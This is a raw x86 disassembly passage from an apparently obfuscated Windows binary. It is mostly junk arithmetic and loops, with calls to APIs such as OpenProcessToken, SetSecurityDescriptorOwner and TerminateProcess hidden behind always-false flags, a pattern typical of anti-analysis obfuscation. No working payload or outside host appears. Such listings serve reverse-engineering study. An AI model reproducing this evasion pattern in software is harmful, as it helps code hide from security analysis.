cmp dword [ebp - 0x181c], 0x74be
jge 0x4a04cf
mov dword [ebp - 0xbb0], 1
jmp 0x4a04d6
and dword [ebp - 0xbb0], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xbb0]
mov dword [ebp + eax - 0x760], ecx
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x1b60]
mov dword [ebp - 0x247c], eax
xor eax, eax
inc eax
sub eax, dword [ebp - 0x1824]
mov dword [ebp - 0x75c], eax
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x1b60]
cmp dword [ebp - 0x75c], eax
jl 0x4a0537
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x760], 0
jne 0x4a0537
and dword [ebp - 0xbb8], 0
jmp 0x4a0541
mov dword [ebp - 0xbb8], 1
mov eax, dword [ebp - 0xbb8]
mov dword [ebp - 0xa60], eax
mov eax, dword [ebp - 0xa4c]
mov dword [ebp - 0x2484], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x760], 0
jne 0x4a0577
xor eax, eax
inc eax
jne 0x4a0577
and dword [ebp - 0x182c], 0
jmp 0x4a0581
mov dword [ebp - 0x182c], 1
mov dword [ebp - 0x75c], 0
mov eax, dword [ebp - 0x75c]
cmp dword [ebp - 0x182c], eax
jne 0x4a05b4
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x1b60], 0
je 0x4a05b4
mov dword [ebp - 0xbc0], 1
jmp 0x4a05bb
and dword [ebp - 0xbc0], 0
cmp dword [ebp - 0xbc0], 4
jne 0x4a05d0
mov dword [ebp - 0x1834], 1
jmp 0x4a05d7
and dword [ebp - 0x1834], 0
mov eax, dword [ebp - 0xa60]
add eax, dword [ebp - 0x1834]
cmp eax, 0xfffffffb
jl 0x4a05f4
mov dword [ebp - 0x1e40], 1
jmp 0x4a05fb
and dword [ebp - 0x1e40], 0
mov eax, dword [ebp - 0x5d8]
mov dword [ebp - 0x248c], eax
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x1b60], 0
je 0x4a0632
push 4
pop eax
imul eax, eax, 3
cmp dword [ebp + eax - 0x1b60], 0
je 0x4a0632
mov dword [ebp - 0xbc8], 1
jmp 0x4a0639
and dword [ebp - 0xbc8], 0
mov eax, dword [ebp - 0x5d8]
cmp dword [ebp - 0xbc8], eax
jle 0x4a0653
mov dword [ebp - 0x183c], 1
jmp 0x4a065a
and dword [ebp - 0x183c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x760]
cmp dword [ebp - 0x183c], eax
jg 0x4a067b
mov dword [ebp - 0xbd0], 1
jmp 0x4a0682
and dword [ebp - 0xbd0], 0
mov eax, dword [ebp - 0xbd0]
mov dword [ebp - 0xa60], eax
mov dword [ebp - 0x5e0], 0
jmp 0x4a06a7
mov eax, dword [ebp - 0x5e0]
inc eax
mov dword [ebp - 0x5e0], eax
cmp dword [ebp - 0x5e0], 3
jge 0x4a06c3
mov eax, dword [ebp - 0x5e0]
mov dword [ebp + eax*4 - 0x1fdc], 0x4cdb8faa
jmp 0x4a069a
mov dword [ebp - 0x64], 0x714a0256
mov dword [ebp - 0x44c], 0x43e2f7c6
mov dword [ebp - 0x1e48], 0x4f06702e
mov dword [ebp - 0x768], 0
jmp 0x4a06f7
mov eax, dword [ebp - 0x768]
inc eax
mov dword [ebp - 0x768], eax
cmp dword [ebp - 0x768], 1
jge 0x4a0713
mov eax, dword [ebp - 0x768]
mov dword [ebp + eax*4 - 0x12c], 1
jmp 0x4a06ea
mov dword [ebp - 0x64], 0
jmp 0x4a0723
mov eax, dword [ebp - 0x64]
inc eax
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 1
jge 0x4a0739
mov eax, dword [ebp - 0x64]
mov dword [ebp + eax*4 - 0x12c], 0
jmp 0x4a071c
mov dword [ebp - 0x64], 0
jmp 0x4a0749
mov eax, dword [ebp - 0x64]
dec eax
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 0
jl 0x4a0959
mov dword [ebp - 0x1bc], 0xe5c7a00f
mov byte [ebp - 0x2e9], 0
movzx eax, byte [ebp - 0x2e9]
test eax, eax
je 0x4a0783
push 0x2048
push 0
push 0x959
push 0
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x1bc], 0
jmp 0x4a079c
mov eax, dword [ebp - 0x1bc]
dec eax
mov dword [ebp - 0x1bc], eax
cmp dword [ebp - 0x1bc], 0
jl 0x4a0954
mov dword [ebp - 0x9c], 0xfadacd7d
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x12c]
mov dword [ebp - 0x9c], eax
mov eax, dword [ebp - 0x1bc]
imul eax, dword [ebp + eax*4 - 0x12c], 0x79a7
imul eax, dword [ebp - 0x1bc]
mov ecx, dword [ebp - 0x64]
mov ecx, dword [ebp + ecx*4 - 0x12c]
sub ecx, dword [ebp - 0x9c]
cmp ecx, eax
jle 0x4a0800
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x12c], 0
mov eax, dword [ebp - 0x1bc]
mov ecx, dword [ebp - 0x1bc]
sub eax, dword [ebp + ecx*4 - 0x12c]
cmp eax, dword [ebp - 0x1bc]
jle 0x4a0827
mov dword [ebp - 0x1844], 1
jmp 0x4a082e
and dword [ebp - 0x1844], 0
mov eax, dword [ebp - 0x64]
mov eax, dword [ebp + eax*4 - 0x12c]
add eax, dword [ebp - 0x1844]
mov dword [ebp - 0x44c], eax
cmp dword [ebp - 0x44c], 1
jl 0x4a0859
mov dword [ebp - 0xbd8], 1
jmp 0x4a0860
and dword [ebp - 0xbd8], 0
imul eax, dword [ebp - 0xbd8], 0xb84c
test eax, eax
je 0x4a0939
mov dword [ebp - 0x44c], 0x1b
jmp 0x4a088b
mov eax, dword [ebp - 0x44c]
dec eax
mov dword [ebp - 0x44c], eax
cmp dword [ebp - 0x44c], 0xffffffe5
jne 0x4a0937
mov dword [ebp - 0x9c], 0xfffffffb
jmp 0x4a08b1
mov eax, dword [ebp - 0x9c]
inc eax
mov dword [ebp - 0x9c], eax
cmp dword [ebp - 0x9c], 0
jne 0x4a08d6
mov byte [ebp - 0x371], 0
movzx eax, byte [ebp - 0x371]
test eax, eax
je 0x4a08d4
push 0
call dword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x4a08a4
mov dword [ebp - 0x9c], 0
jmp 0x4a08ef
mov eax, dword [ebp - 0x9c]
inc eax
mov dword [ebp - 0x9c], eax
cmp dword [ebp - 0x9c], 0
jg 0x4a0932
mov eax, dword [ebp - 0x64]
mov ecx, dword [ebp - 0x9c]
mov eax, dword [ebp + eax*4 - 0x12c]
mov dword [ebp + ecx*4 - 0x12c], eax
mov byte [ebp - 0x261], 0
movzx eax, byte [ebp - 0x261]
test eax, eax
je 0x4a0930
push 0
push 0x237b
push 0
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
jmp 0x4a08e2
jmp 0x4a087e
jmp 0x4a094f
cmp dword [ebp - 0x64], 0
je 0x4a0941
jmp 0x4a0954
cmp dword [ebp - 0x1e48], 0
je 0x4a094f
jmp 0x4a078f
jmp 0x4a078f
jmp 0x4a0742
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x1fdc], 0
jmp 0x4a0987
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1fdc]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x1fdc], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x1fdc], 3
jg 0x4a1269
mov dword [ebp - 0x48c], 0x3342eb9
mov dword [ebp - 0x1e50], 0x9acd4098
mov dword [ebp - 0x1f50], 7
mov dword [ebp - 0xc08], 0x48e01afe
mov dword [ebp - 0x770], 0xdc630de2
mov dword [ebp - 0x1f40], 0x1495dd68
mov dword [ebp - 0x494], 1
mov dword [ebp - 0x1e4], 0
jmp 0x4a09fa
mov eax, dword [ebp - 0x1e4]
inc eax
mov dword [ebp - 0x1e4], eax
cmp dword [ebp - 0x1e4], 4
jge 0x4a0a16
mov eax, dword [ebp - 0x1e4]
mov dword [ebp + eax*4 - 0x2a54], 0x7b7e80d6
jmp 0x4a09ed
mov dword [ebp - 0x1e4], 0
jmp 0x4a0a2f
mov eax, dword [ebp - 0x1e4]
inc eax
mov dword [ebp - 0x1e4], eax
cmp dword [ebp - 0x1e4], 1
jge 0x4a0a4b
mov eax, dword [ebp - 0x1e4]
mov dword [ebp + eax*4 - 0xa6c], 0xfffffff7
jmp 0x4a0a22
mov dword [ebp - 0x48c], 0
jmp 0x4a0a64
mov eax, dword [ebp - 0x48c]
inc eax
mov dword [ebp - 0x48c], eax
cmp dword [ebp - 0x48c], 0x13
jne 0x4a0e67
mov dword [ebp - 0x938], 0xffffffff
mov dword [ebp - 0x54c], 0xfffffff7
mov dword [ebp - 0x2494], 0xffffffff
mov dword [ebp - 0x1f58], 0xae2718b9
mov dword [ebp - 0x5e8], 0xffffffff
mov dword [ebp - 0xa68], 0xfea44e0c
mov dword [ebp - 0x9e0], 0x49cf94a2
mov dword [ebp - 0x134], 0
jmp 0x4a0ad0
mov eax, dword [ebp - 0x134]
inc eax
mov dword [ebp - 0x134], eax
cmp dword [ebp - 0x134], 3
jge 0x4a0aec
mov eax, dword [ebp - 0x134]
mov dword [ebp + eax*4 - 0x275c], 0xf76ec751
jmp 0x4a0ac3
mov dword [ebp - 0x134], 0
jmp 0x4a0b05
mov eax, dword [ebp - 0x134]
inc eax
mov dword [ebp - 0x134], eax
cmp dword [ebp - 0x134], 1
jge 0x4a0b21
mov eax, dword [ebp - 0x134]
mov dword [ebp + eax*4 - 0x930], 0xffffffff
jmp 0x4a0af8
mov eax, dword [ebp - 0xa68]
dec eax
mov dword [ebp - 0xa68], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x930]
cmp dword [ebp - 0xa68], eax
jle 0x4a0b4f
mov dword [ebp - 0x184c], 1
jmp 0x4a0b56
and dword [ebp - 0x184c], 0
mov eax, dword [ebp - 0x48c]
add eax, dword [ebp - 0x1e50]
cmp eax, dword [ebp - 0x184c]
je 0x4a0b76
mov dword [ebp - 0xbe8], 1
jmp 0x4a0b7d
and dword [ebp - 0xbe8], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1f40]
cmp dword [ebp + eax - 0xa6c], ecx
jge 0x4a0bae
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x930], 0
je 0x4a0bae
mov dword [ebp - 0xbe0], 1
jmp 0x4a0bb5
and dword [ebp - 0xbe0], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xa6c]
cmp dword [ebp - 0xbe0], eax
je 0x4a0bd6
mov dword [ebp - 0x1f48], 1
jmp 0x4a0bdd
and dword [ebp - 0x1f48], 0
mov eax, dword [ebp - 0x54c]
mov dword [ebp - 0x249c], eax
cmp dword [ebp - 0x938], 2
je 0x4a0bfe
mov dword [ebp - 0x1854], 1
jmp 0x4a0c05
and dword [ebp - 0x1854], 0
mov eax, dword [ebp - 0x1854]
mov dword [ebp - 0x9e0], eax
cmp dword [ebp - 0x9e0], 0
je 0x4a0c38
cmp dword [ebp - 0x1f50], 0
je 0x4a0c38
cmp dword [ebp - 0x9e0], 0
je 0x4a0c38
mov dword [ebp - 0x185c], 1
jmp 0x4a0c3f
and dword [ebp - 0x185c], 0
mov eax, dword [ebp - 0xbe8]
cmp eax, dword [ebp - 0x185c]
je 0x4a0c59
mov dword [ebp - 0x1864], 1
jmp 0x4a0c60
and dword [ebp - 0x1864], 0
mov eax, dword [ebp - 0x938]
mov dword [ebp - 0xbf0], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0xbf0]
mov dword [ebp + eax - 0x275c], ecx
mov eax, dword [ebp - 0xbf0]
cmp eax, dword [ebp - 0x1864]
je 0x4a0c99
mov dword [ebp - 0xbf8], 1
jmp 0x4a0ca0
and dword [ebp - 0xbf8], 0
cmp dword [ebp - 0xbf8], 0
jg 0x4a0cb5
mov dword [ebp - 0x186c], 1
jmp 0x4a0cbc
and dword [ebp - 0x186c], 0
cmp dword [ebp - 0x186c], 0xfffffffd
jbe 0x4a0cd1
mov dword [ebp - 0xc00], 1
jmp 0x4a0cd8
and dword [ebp - 0xc00], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x930]
add eax, dword [ebp - 0xc00]
je 0x4a0d09
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xa6c], 0
je 0x4a0d09
mov dword [ebp - 0x1874], 1
jmp 0x4a0d10
and dword [ebp - 0x1874], 0
mov eax, dword [ebp - 0xc08]
add eax, dword [ebp - 0x1874]
je 0x4a0d58
mov dword [ebp - 0x494], 0
jmp 0x4a0d37
mov eax, dword [ebp - 0x494]
inc eax
mov dword [ebp - 0x494], eax
cmp dword [ebp - 0x494], 3
jge 0x4a0d53
mov eax, dword [ebp - 0x494]
mov dword [ebp + eax*4 - 0x275c], 0xffffffff
jmp 0x4a0d2a
jmp 0x4a0de2
mov dword [ebp - 0x54c], 0
jmp 0x4a0d71
mov eax, dword [ebp - 0x54c]
dec eax
mov dword [ebp - 0x54c], eax
cmp dword [ebp - 0x54c], 0xffffffe2
jle 0x4a0de2
mov dword [ebp - 0x5e8], 0x14
jmp 0x4a0d93
mov eax, dword [ebp - 0x5e8]
dec eax
mov dword [ebp - 0x5e8], eax
cmp dword [ebp - 0x5e8], 0xffffffeb
jg 0x4a0de0
mov dword [ebp - 0x770], 0xb
jmp 0x4a0db5
mov eax, dword [ebp - 0x770]
inc eax
mov dword [ebp - 0x770], eax
cmp dword [ebp - 0x770], 0x1b
je 0x4a0dde
mov byte [ebp - 0x2b1], 0
movzx eax, byte [ebp - 0x2b1]
test eax, eax
je 0x4a0ddc
push 1
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorOwner]
jmp 0x4a0da8
jmp 0x4a0d86
jmp 0x4a0d64
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2a54]
cmp dword [ebp - 0xc08], eax
je 0x4a0e03
mov dword [ebp - 0x187c], 1
jmp 0x4a0e0a
and dword [ebp - 0x187c], 0
cmp dword [ebp - 0x187c], 0x8f1d
jle 0x4a0e22
mov dword [ebp - 0xc10], 1
jmp 0x4a0e29
and dword [ebp - 0xc10], 0
mov eax, dword [ebp - 0x1f58]
sub eax, dword [ebp - 0x938]
cmp eax, dword [ebp - 0xc10]
jg 0x4a0e49
mov dword [ebp - 0x1884], 1
jmp 0x4a0e50
and dword [ebp - 0x1884], 0
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x1884]
mov dword [ebp + eax - 0x2a54], ecx
jmp 0x4a0a57
mov dword [ebp - 0x49c], 0xb3ae3556
mov dword [ebp - 0x204], 0x111738ab
mov dword [ebp - 0x49c], 0
jmp 0x4a0e94
mov eax, dword [ebp - 0x49c]
inc eax
mov dword [ebp - 0x49c], eax
cmp dword [ebp - 0x49c], 1
jne 0x4a1202
mov dword [ebp - 0x1c4], 0
jmp 0x4a0eba
mov eax, dword [ebp - 0x1c4]
inc eax
mov dword [ebp - 0x1c4], eax
cmp dword [ebp - 0x1c4], 2
jge 0x4a0ed6
mov eax, dword [ebp - 0x1c4]
mov dword [ebp + eax*4 - 0x1b98], 0x8d52
jmp 0x4a0ead
mov dword [ebp - 0x1c4], 0
jmp 0x4a0eef
mov eax, dword [ebp - 0x1c4]
inc eax
mov dword [ebp - 0x1c4], eax
cmp dword [ebp - 0x1c4], 3
jge 0x4a0f0b
mov eax, dword [ebp - 0x1c4]
mov dword [ebp + eax*4 - 0x2ab0], 2
jmp 0x4a0ee2
mov dword [ebp - 0x204], 0x73eb905d
mov dword [ebp - 0x204], 1
jmp 0x4a0f2e
mov eax, dword [ebp - 0x204]
dec eax
mov dword [ebp - 0x204], eax
cmp dword [ebp - 0x204], 0
jl 0x4a11fd
mov dword [ebp - 0x23c], 0x45625132
mov dword [ebp - 0x940], 1
mov dword [ebp - 0x23c], 1
jmp 0x4a0f68
mov eax, dword [ebp - 0x23c]
dec eax
mov dword [ebp - 0x23c], eax
cmp dword [ebp - 0x23c], 0
jl 0x4a11e6
mov dword [ebp - 0x2e8], 0xd66a0756
mov dword [ebp - 0x9e8], 0xffff
mov dword [ebp - 0x778], 0xfffffffa
mov dword [ebp - 0x2e8], 0
jmp 0x4a0fac
mov eax, dword [ebp - 0x2e8]
inc eax
mov dword [ebp - 0x2e8], eax
cmp dword [ebp - 0x2e8], 1
jg 0x4a11ad
cmp dword [ebp - 0x23c], 0
jne 0x4a0fd2
push 7
pop eax
test eax, eax
jne 0x4a0fd2
and dword [ebp - 0xc18], 0
jmp 0x4a0fdc
mov dword [ebp - 0xc18], 1
mov eax, dword [ebp - 0x9e8]
dec eax
mov dword [ebp - 0x9e8], eax
mov dword [ebp - 0x940], 0xffffffff
mov eax, dword [ebp - 0xc18]
sub eax, dword [ebp - 0x49c]
mov ecx, dword [ebp - 0x940]
sub ecx, eax
mov eax, dword [ebp - 0x9e8]
imul eax, ecx
test eax, eax
jne 0x4a102f
cmp dword [ebp - 0x23c], 0
jne 0x4a102f
cmp dword [ebp - 0x940], 0
jne 0x4a102f
and dword [ebp - 0x188c], 0
jmp 0x4a1039
mov dword [ebp - 0x188c], 1
cmp dword [ebp - 0x188c], 0x91a8
je 0x4a1051
mov dword [ebp - 0xc20], 1
jmp 0x4a1058
and dword [ebp - 0xc20], 0
cmp dword [ebp - 0xc20], 1
je 0x4a106d
mov dword [ebp - 0x1894], 1
jmp 0x4a1074
and dword [ebp - 0x1894], 0
imul eax, dword [ebp - 0x1894], 0x53fd
cmp eax, dword [ebp - 0x23c]
jl 0x4a1092
mov dword [ebp - 0xa40], 1
jmp 0x4a1099
and dword [ebp - 0xa40], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xa40]
mov dword [ebp + eax - 0x2ab0], ecx
mov eax, dword [ebp - 0x2e8]
mov eax, dword [ebp + eax*4 - 0x1b98]
add eax, dword [ebp - 0xa40]
cmp eax, dword [ebp - 0x204]
jge 0x4a10d3
mov dword [ebp - 0xc28], 1
jmp 0x4a10da
and dword [ebp - 0xc28], 0
mov eax, dword [ebp - 0x2e8]
mov eax, dword [ebp + eax*4 - 0x1b98]
shl eax, 2
cmp eax, dword [ebp - 0xc28]
jle 0x4a10fe
mov dword [ebp - 0x189c], 1
jmp 0x4a1105
and dword [ebp - 0x189c], 0
cmp dword [ebp - 0x189c], 0x7c77
jl 0x4a1163
mov dword [ebp - 0x5f0], 0
jmp 0x4a112a
mov eax, dword [ebp - 0x5f0]
inc eax
mov dword [ebp - 0x5f0], eax
cmp dword [ebp - 0x5f0], 3
jge 0x4a1146
mov eax, dword [ebp - 0x5f0]
mov dword [ebp + eax*4 - 0x276c], 0xf5291260
jmp 0x4a111d
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x276c]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x276c], eax
jmp 0x4a11a8
mov dword [ebp - 0x778], 1
jmp 0x4a117c
mov eax, dword [ebp - 0x778]
dec eax
mov dword [ebp - 0x778], eax
cmp dword [ebp - 0x778], 0
jl 0x4a11a8
mov byte [ebp - 0x263], 0
movzx eax, byte [ebp - 0x263]
test eax, eax
je 0x4a11a6
push 0
push 0x8ef
push 0
call dword [sym.imp.GDI32.dll_GetRegionData]
jmp 0x4a116f
jmp 0x4a0f9f
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x23c]
cmp dword [ebp + eax - 0x1b98], ecx
jne 0x4a11ce
mov dword [ebp - 0xc30], 1
jmp 0x4a11d5
and dword [ebp - 0xc30], 0
mov eax, dword [ebp - 0xc30]
mov dword [ebp - 0x2e8], eax
jmp 0x4a0f5b
mov eax, dword [ebp - 0x204]
cmp dword [ebp + eax*4 - 0x1b98], 0
je 0x4a11f8
jmp 0x4a11fd
jmp 0x4a0f21
jmp 0x4a0e87
mov dword [ebp - 0x204], 0x314648a5
mov eax, dword [ebp - 0x2f0]
cmp dword [ebp + eax*4 - 0x2250], 0
je 0x4a1229
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x2250], 0
or eax, 0xffffffff
je 0x4a124a
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x1fdc], 0
je 0x4a124a
mov dword [ebp - 0x18a4], 1
jmp 0x4a1251
and dword [ebp - 0x18a4], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x18a4]
mov dword [ebp + eax - 0x22b0], ecx
jmp 0x4a096c
mov dword [ebp - 0x39c], 0xe1757117
mov dword [ebp - 0x5f8], 0
mov dword [ebp - 0x39c], 0x14
jmp 0x4a1296
mov eax, dword [ebp - 0x39c]
dec eax
mov dword [ebp - 0x39c], eax
cmp dword [ebp - 0x39c], 0xffffffee
jne 0x4a14b4
mov dword [ebp - 0xf4], 0xfffffff8
mov dword [ebp - 0x948], 0xeab1d6a5
mov dword [ebp - 0xf4], 0xffffffe8
jmp 0x4a12d0
mov eax, dword [ebp - 0xf4]
inc eax
mov dword [ebp - 0xf4], eax
cmp dword [ebp - 0xf4], 0xe
jg 0x4a12f5
mov byte [ebp - 0x265], 0
movzx eax, byte [ebp - 0x265]
test eax, eax
je 0x4a12f3
push 0
call dword [sym.imp.KERNEL32.dll_SetDllDirectoryW]
jmp 0x4a12c3
xor eax, eax
jne 0x4a130b
cmp dword [ebp - 0xf4], 0
jne 0x4a130b
and dword [ebp - 0xc48], 0
jmp 0x4a1315
mov dword [ebp - 0xc48], 1
mov eax, dword [ebp - 0x39c]
mov dword [ebp - 0x948], eax
cmp dword [ebp - 0x948], 0
jne 0x4a133d
cmp dword [ebp - 0x39c], 0xcb27
jg 0x4a133d
cmp dword [ebp - 0x5f8], 0
mov eax, dword [ebp - 0x948]
add eax, dword [ebp - 0x5f8]
cmp eax, dword [ebp - 0xf4]
jg 0x4a135d
mov dword [ebp - 0xc38], 1
jmp 0x4a1364
and dword [ebp - 0xc38], 0
imul eax, dword [ebp - 0xc38], 0x507a
cmp eax, 0xca3e
jge 0x4a1381
mov dword [ebp - 0x18ac], 1
jmp 0x4a1388
and dword [ebp - 0x18ac], 0
cmp dword [ebp - 0x18ac], 0xffffffff
jae 0x4a139d
mov dword [ebp - 0xc40], 1
jmp 0x4a13a4
and dword [ebp - 0xc40], 0
cmp dword [ebp - 0xc40], 0xfffffffd
jae 0x4a13b9
mov dword [ebp - 0x18b4], 1
jmp 0x4a13c0
and dword [ebp - 0x18b4], 0
mov eax, dword [ebp - 0x18b4]
sub eax, dword [ebp - 0xf4]
cmp dword [ebp - 0xc48], eax
je 0x4a13e0
mov dword [ebp - 0x18bc], 1
jmp 0x4a13e7
and dword [ebp - 0x18bc], 0
mov eax, dword [ebp - 0xf4]
cmp dword [ebp - 0x18bc], eax
jne 0x4a1401
mov dword [ebp - 0xc50], 1
jmp 0x4a1408
and dword [ebp - 0xc50], 0
mov eax, dword [ebp - 0x5f8]
cmp dword [ebp - 0xc50], eax
jne 0x4a1422
mov dword [ebp - 0x18c4], 1
jmp 0x4a1429
and dword [ebp - 0x18c4], 0
cmp dword [ebp - 0x18c4], 0
jbe 0x4a143e
mov dword [ebp - 0xc58], 1
jmp 0x4a1445
and dword [ebp - 0xc58], 0
mov eax, dword [ebp - 0xf4]
cmp dword [ebp - 0xc58], eax
jl 0x4a145f
mov dword [ebp - 0x18cc], 1
jmp 0x4a1466
and dword [ebp - 0x18cc], 0
cmp dword [ebp - 0x18cc], 0xffffffff
jge 0x4a147b
mov dword [ebp - 0xc60], 1
jmp 0x4a1482
and dword [ebp - 0xc60], 0
mov eax, dword [ebp - 0xf4]
cmp dword [ebp - 0xc60], eax
jl 0x4a149c
mov dword [ebp - 0x18d4], 1
jmp 0x4a14a3
and dword [ebp - 0x18d4], 0
mov eax, dword [ebp - 0x18d4]
mov dword [ebp - 0x5f8], eax
jmp 0x4a1289
mov eax, dword [ebp - 0x2f0]
mov ecx, dword [ebp - 0x2f0]
mov eax, dword [ebp + eax*4 - 0x2250]
mov dword [ebp + ecx*4 - 0x2250], eax
jmp 0x49fcc0
mov dword [ebp - 0x22c], 0x7fe64fd9
mov dword [ebp - 0x1f60], 0xc10977a1
mov dword [ebp - 0x780], 0
jmp 0x4a1500
mov eax, dword [ebp - 0x780]
inc eax
mov dword [ebp - 0x780], eax
cmp dword [ebp - 0x780], 4
jge 0x4a151c
mov eax, dword [ebp - 0x780]
mov dword [ebp + eax*4 - 0x2d98], 0
jmp 0x4a14f3
xor eax, eax
inc eax
je 0x4a152a
cmp dword [ebp - 0x22c], 0
jne 0x4a153c
cmp dword [ebp - 0x22c], 0
jne 0x4a153c
and dword [ebp - 0xc68], 0
jmp 0x4a1546
mov dword [ebp - 0xc68], 1
mov eax, dword [ebp - 0xc68]
mov dword [ebp - 0x22c], eax
mov eax, dword [ebp - 0x1f60]
cmp dword [ebp - 0x22c], eax
jne 0x4a156c
mov dword [ebp - 0x18dc], 1
jmp 0x4a1573
and dword [ebp - 0x18dc], 0
mov eax, 0x185299da
sub eax, dword [ebp - 0x18dc]
je 0x4a167c
mov dword [ebp - 0x414], 0
mov dword [ebp - 0x414], 0xfffffffe
cmp dword [ebp - 0x414], 0
je 0x4a15ed
mov dword [ebp - 0x414], 0
jmp 0x4a15ba
mov eax, dword [ebp - 0x414]
inc eax
mov dword [ebp - 0x414], eax
cmp dword [ebp - 0x414], 3
jg 0x4a15e8
mov byte [ebp - 0x2b3], 0
movzx eax, byte [ebp - 0x2b3]
test eax, eax
je 0x4a15e6
push 0x2248
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VirtualQueryEx]
jmp 0x4a15ad
jmp 0x4a167a
mov dword [ebp - 0x1f68], 0xdfddae9
mov dword [ebp - 0x600], 0
jmp 0x4a1610
mov eax, dword [ebp - 0x600]
inc eax
mov dword [ebp - 0x600], eax
cmp dword [ebp - 0x600], 2
jge 0x4a162c
mov eax, dword [ebp - 0x600]
mov dword [ebp + eax*4 - 0x2538], 5
jmp 0x4a1603
mov dword [ebp - 0x22c], 0
jmp 0x4a1645
mov eax, dword [ebp - 0x22c]
inc eax
mov dword [ebp - 0x22c], eax
cmp dword [ebp - 0x22c], 3
je 0x4a167a
mov dword [ebp - 0xc70], 0x12894ff5
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2538]
mov dword [ebp - 0x1f68], eax
mov eax, dword [ebp - 0xc70]
dec eax
mov dword [ebp - 0xc70], eax
jmp 0x4a1638
jmp 0x4a16a0
mov byte [ebp - 0x267], 0
movzx eax, byte [ebp - 0x267]
test eax, eax
je 0x4a16a0
push 0x1ae5
push 0x2488
push 0
call dword [sym.imp.KERNEL32.dll_VirtualFree]
cmp dword [ebp + 8], 2
jl 0x4a8907
mov dword [ebp - 0x2290], 0x928c176b
mov dword [ebp - 0x228c], 0x928c176b
mov dword [ebp - 0x2288], 0x928c176b
mov dword [ebp - 0x2284], 0x928c176b
mov dword [ebp - 0x788], 0xfffffffb
mov dword [ebp - 0x788], 3
jmp 0x4a16f5
mov eax, dword [ebp - 0x788]
dec eax
mov dword [ebp - 0x788], eax
cmp dword [ebp - 0x788], 0
jl 0x4a179b
mov dword [ebp - 0x608], 0
jmp 0x4a171b
mov eax, dword [ebp - 0x608]
inc eax
mov dword [ebp - 0x608], eax
cmp dword [ebp - 0x608], 1
jge 0x4a1737
mov eax, dword [ebp - 0x608]
mov dword [ebp + eax*4 - 0x790], 0
jmp 0x4a170e
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x790], 0
jmp 0x4a1765
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x790]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x790], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x790], 3
jg 0x4a1796
mov byte [ebp - 0x339], 0
movzx eax, byte [ebp - 0x339]
test eax, eax
je 0x4a1794
push 0x200a
push 0
call dword [sym.imp.USER32.dll_GetSubMenu]
jmp 0x4a174a
jmp 0x4a16e8
push 4
pop eax
imul eax, eax, 3
mov dword [ebp + eax - 0x2290], 0
mov dword [ebp - 0x2200], 0xf112
mov dword [ebp - 0x21fc], 0xf112
mov dword [ebp - 0x21f8], 0xf112
mov dword [ebp - 0x21f4], 0xf112
mov dword [ebp - 0x514], 0
mov dword [ebp - 0x514], 0
jmp 0x4a17f7
mov eax, dword [ebp - 0x514]
inc eax
mov dword [ebp - 0x514], eax
cmp dword [ebp - 0x514], 3
jg 0x4a1833
mov byte [ebp - 0x269], 0
movzx eax, byte [ebp - 0x269]
test eax, eax
je 0x4a181f
push 0x9d2
push 0
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, dword [ebp - 0x514]
cmp dword [ebp + eax*4 - 0x2200], 0
je 0x4a1831
jmp 0x4a17ea
jmp 0x4a17ea
mov byte [ebp - 0x2b5], 0
movzx eax, byte [ebp - 0x2b5]
test eax, eax
je 0x4a1859
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CloseEnhMetaFile]
mov dword [ebp - 0x20c], 0x7fe64fd9
mov dword [ebp - 0x58], 0x3f4f46db
mov dword [ebp - 0x4a4], 7
mov dword [ebp - 0x3a4], 0xefc72fa5
mov dword [ebp - 0x1f70], 0xc012777f
